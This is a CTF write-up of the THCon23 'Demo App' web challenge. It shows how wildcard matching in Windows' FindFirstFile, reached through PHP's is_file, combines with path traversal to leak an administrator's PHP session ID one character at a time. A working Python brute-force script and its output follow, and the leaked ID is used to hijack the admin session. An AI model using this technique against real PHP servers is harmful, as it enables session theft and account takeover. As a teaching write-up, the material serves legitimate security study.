Featured image of post Abusing FindFirstFile to do PHP Session Hijacking - THCon23 Demo App

Abusing FindFirstFile to do PHP Session Hijacking - THCon23 Demo App

Abusing the FindFirstFile Windows API function to do PHP Session Hijacking via Path Traversal. Writeup of the Demo App challenge of the THCon23 CTF.

Demo App - THCon23 CTF Writeup

In this article, we will solve an “hard” web challenge of the THCon23 named Demo App.

CTFd challenge

TL;DR

Exploit a path traversal and the ability to use “regex” inside path to exfiltrate the PHPSESSID of the administrator’s account.

Overview

Demo App is a PHP application that allows you to check if a specific path is a file or a directory (is_file & is_dir). The goal of the challenge is to visit the flag.php page as a logged user.

We can verify that index.php is a valid file:

Index Page

There is also another page at info.php that shows us a phpinfo. The interesting thing here, is that we are on a Windows system.

PHPInfo Page

Exploitation

FindFirstFile

On Windows, the is_file PHP function uses the FindFirstFile Windows API function. On the documentation of FindFirstFile, we can see that we can use * or ? to do a regex-like search. In PHP, << will correspond to * and > to ?.

[in] lpFileName: The directory or path, and the file name. The file name can include wildcard characters, for example, an asterisk (*) or a question mark (?).

We can do some tests by searching path like this:

1
2
3
4
5
6
7
8
is_file('a<<')       => false 
is_file('b<<')       => false 
...
is_file('i<<')       => true 
is_file('in<<')      => true 
is_file('inde<<')    => true 
...
is_file('index.php') => true 

Note that this technique only works on Windows because of the use of FindFirstFile.

We can also do Path traversal like this:

1
is_file('../www/index.php') => true 

So what we have now? We can check if a file exists using regex, but we cannot read/write into files.

PHP Session Hijacking

After a bit of research, an idea comes to my mind. With the regex path search and the path traversal, we can exfiltrate the content of the directory that contains PHP sessions in order to obtains valid PHPSESSID cookies.

We can go back to the phpinfo() to get the session.name and the session.path variables.

Session Info

So, now let’s make a simple python script to leak the content of the C:\wamp64\tmp directory.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
from requests import post
from string import ascii_lowercase, digits 


def find(prefix):
    for c in ascii_lowercase + digits:
        search = prefix + c
        resp = post("https://demo-app.ctf.thcon.party",
                    data={
                        "file":"../tmp/sess_" + search + "<<",
                        "Check": "Submit Query"
                    })

        if "You tried to access file outside" in resp.text:
            print("found:", search)
            find(search)

find(prefix="")

Then, we can execute it:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
$ python3 solve.py
found: qr
found: qrs
found: qrsg
found: qrsgn
found: qrsgnc
found: qrsgncf
found: qrsgncfd
found: qrsgncfds
[..]
found: qrsgncfdsohnb33115tfkib
found: qrsgncfdsohnb33115tfkib7
found: qrsgncfdsohnb33115tfkib7s
found: qrsgncfdsohnb33115tfkib7s1

We now can get the flag by going to the flag.php page with the cookie PHPSESSID set to qrsgncfdsohnb33115tfkib7s1:

Flag

Solved !!!

Built with Hugo
Theme Stack designed by Jimmy